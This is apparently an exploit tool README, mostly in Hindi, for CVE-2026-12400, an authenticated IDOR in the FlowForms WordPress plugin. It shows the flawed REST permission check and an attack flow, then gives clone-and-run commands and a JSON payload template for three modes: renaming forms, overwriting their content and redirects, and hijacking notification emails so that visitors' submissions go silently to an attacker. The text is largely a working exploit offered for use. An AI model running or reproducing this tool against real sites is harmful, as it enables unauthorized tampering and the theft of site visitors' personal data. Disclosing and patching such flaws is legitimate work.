
CVE-2026-12400 के लिए प्रमाणित WordPress IDOR शोषण; FlowForms REST फ़ॉर्म आईडी की गणना करता है और फ़ॉर्म सामग्री को संशोधित करता है या ईमेल सूचनाओं को हाईजैक करता है।
प्रमाणित (योगदानकर्ता+) असुरक्षित प्रत्यक्ष ऑब्जेक्ट संदर्भ द्वारा FlowForms ≤ 1.1.1 में मनमाना फ़ॉर्म संशोधन
| गुण | मान |
|---|---|
| CVE ID | CVE-2026-12400 |
| CVSS Score | 4.3 — मध्यम |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (उपयोगकर्ता-नियंत्रित कुंजी द्वारा प्राधिकरण बाईपास) |
| Product | FlowForms — WordPress संवादात्मक फ़ॉर्म निर्माता प्लगइन |
| Affected | 1.1.1 तक के सभी संस्करण |
| Fixed In | 1.1.2 में सुधारा गया |
| Researcher | Phantom Hat |
स्रोत कोड विश्लेषण, इनपुट प्रवाह अनुरेखण और पैच अंतर सहित पूर्ण व्हाइट-बॉक्स केस स्टडी:
FlowForms flowforms/v1 नेमस्पेस के अंतर्गत दो REST API एंडपॉइंट उजागर करता है जो कमजोर हैं:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
दोनों URL पथ में एक उपयोगकर्ता-नियंत्रित {id} स्वीकार करते हैं और लक्ष्य फ़ॉर्म के डेटा — नाम, सामग्री, लेआउट, रीडायरेक्ट URL और ईमेल अधिसूचना प्राप्तकर्ताओं को संशोधित करते हैं।
दोनों कमजोर रूट पंजीकरण एक ही दोषपूर्ण permission_callback साझा करते हैं:
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts एक क्षमता है जो योगदानकर्ताओं के पास होती है। {id} पैरामीटर की कभी अनुरोध करने वाले उपयोगकर्ता के स्वामित्व के विरुद्ध जाँच नहीं की जाती — कोई भी प्रमाणित उपयोगकर्ता साइट पर किसी भी फ़ॉर्म ID को लक्षित कर सकता है।
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerate published forms
│<─ HTTP 200 ───────────────────────│ (any accessible form is a target)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Overwrite form name / content
│ with attacker payload ─────>│ ← no owner check
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Hijack email notifications
│ /settings ─────────────────>│ ← attacker receives all
│<─ { "success": true } ────────────│ future form submissions
│ │
│ All 3 attack vectors confirmed │ (5) Name ✔ Content ✔ Email ✔
| मोड | एंडपॉइंट | प्रभाव |
|---|---|---|
name | /forms/{id} | किसी भी फ़ॉर्म का नाम बदलें — विरूपण, सामाजिक इंजीनियरिंग |
content | /forms/{id} | लेआउट, स्वागत/धन्यवाद स्क्रीन, रीडायरेक्ट URL को अधिलेखित करें |
email | /forms/{id}/settings | नोटिफिकेशन ईमेल का अपहरण — सभी फ़ॉर्म सबमिशन चुपचाप प्राप्त करें |
email मोड सबसे महत्वपूर्ण है। अपहरण के बाद, पीड़ित के संपर्क फ़ॉर्म का हर सबमिशन — आगंतुक PII, संदेश और संपर्क विवरण सहित — चुपचाप हमलावर-नियंत्रित पते पर अग्रेषित कर दिया जाता है। साइट प्रशासक को परिवर्तन का कोई संकेत नहीं दिखता।
योगदानकर्ता भूमिका वाला एक प्रमाणित खाताgit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
किसी भी फ़ॉर्म का नाम हमलावर-नियंत्रित सामग्री में बदलें:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
फ़ॉर्म लेआउट, स्क्रीन, रीडायरेक्ट URL और पृष्ठभूमि छवियों को अधिलेखित करें:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
सभी भविष्य के फ़ॉर्म सबमिशन अधिसूचनाओं को हमलावर-नियंत्रित पते पर रीडायरेक्ट करें:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| फ़्लैग | संक्षिप्त | विवरण | आवश्यक |
|---|---|---|---|
--url | -u | लक्ष्य WordPress URL | ✅ |
--user | WordPress उपयोगकर्ता नाम (योगदानकर्ता+) | ✅ | |
--password | WordPress पासवर्ड | ✅ | |
--id-start | -i | गणना के लिए प्रारंभिक फ़ॉर्म ID | ✅ |
--num-forms | -n | गणना करने के लिए फ़ॉर्म IDs की संख्या | ✅ |
--exploit | हमला मोड: name / content / email | ✅ | |
--proxy | -p | प्रॉक्सी URL (उदा. http://127.0.0.1:8080) | ❌ |
JSON पेलोड टेम्पलेट (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) स्क्रिप्ट के शीर्ष पर परिभाषित हैं। हमले की सामग्री को अनुकूलित करने के लिए चलाने से पहले उन्हें संपादित करें — अधिसूचना ईमेल पता, रीडायरेक्ट URL, पृष्ठभूमि छवि, फ़ॉर्म शीर्षक आदि बदलें।
# Top of exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← change this
...
}
}
}
}
}""")
एक्सप्लॉइट तीन स्वचालित चरण करता है: